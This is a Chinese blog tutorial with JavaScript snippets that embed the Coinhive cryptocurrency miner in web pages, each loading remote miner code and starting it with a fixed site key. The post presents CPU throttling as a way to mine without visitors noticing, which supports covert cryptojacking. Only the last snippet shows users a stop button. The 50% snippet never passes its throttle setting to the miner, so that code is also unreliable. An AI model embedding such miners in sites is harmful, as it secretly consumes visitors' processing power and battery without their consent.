Coinhive 网页挖矿JS参数 – 调节CPU使用率

之前我们稍微讲了一下利用 Javascript 脚本进行网页挖矿,不过提供的代码是基础版本,一开网页就进行了 100% CPU 挖矿。但是如果嵌入网页的话,会带来各种不好的用户体验。如果你想偷偷做什么事的话,很明显会被用户发现。反正我是一开挖矿网页,CPU风扇就飞起来了。那么如何限制CPU使用率呢?

初始版本的网页挖矿代码。

1
2
3
4
5
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('gUA9gHLBkVURSU7z2Z4W1CRwp9Zan9At');
    miner.start();
</script>

好吧,这样就可以 CPU 100% 挖矿了,也就是我们的初始代码。

限制CPU 50% 代码

1
2
3
4
5
6
7
8
9
10
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
if (navigator.hardwareConcurrency > 1){
    var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/2)}
}else{
    var cpuConfig = {throttle:0.6}
}
    var miner = new CoinHive.Anonymous('gUA9gHLBkVURSU7z2Z4W1CRwp9Zan9At');
    miner.start();
</script>

当然还有一些参数,如果你想显示给你客户看下 hash rate 之类的参数,或者加个挖矿开关之类的按钮。参考下边代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
if (navigator.hardwareConcurrency > 1){
    var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/2)}
}else{
    var cpuConfig = {throttle:0.6}
}
var miner = new CoinHive.Anonymous('gUA9gHLBkVURSU7z2Z4W1CRwp9Zan9At', cpuConfig);
miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
// Update stats once per second
setInterval(function() {
    var threadCount = miner.getNumThreads();
    var hashesPerSecond = Math.round(miner.getHashesPerSecond());
    var getTotalHashes = miner.getTotalHashes();
try {
    navigator.getBattery().then(function (battery) {
        if (battery.level < 0.50 && battery.charging == false) {
            miner.stop();
            document.getElementById("stopped").innerHTML = "检测到电力不足已停止运算";
        }
    });
}catch(e){console.log(e)}
    // Output to HTML elements...
    if (miner.isRunning()) {
        document.getElementById("status").innerHTML = "状态: 正在使用 " + threadCount + " 个进程";
        document.getElementById("hashesPerSecond").innerHTML = "您的计算力: " + hashesPerSecond + " H/s";
        document.getElementById("getTotalHashes").innerHTML = "您已贡献: " + getTotalHashes + " 次Hash";
        document.getElementById("minerbutton").innerHTML = "<button onclick="miner.stop()">停止挖矿</button>";
    }else{
        document.getElementById("status").innerHTML = "状态: 沒有进行任何计算";
        document.getElementById("hashesPerSecond").innerHTML = "您的计算力: " + 0 + " H/s";
        document.getElementById("minerbutton").innerHTML = "<button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">开始挖矿!</button>";
    }
}, 800);
</script>

最终演示页面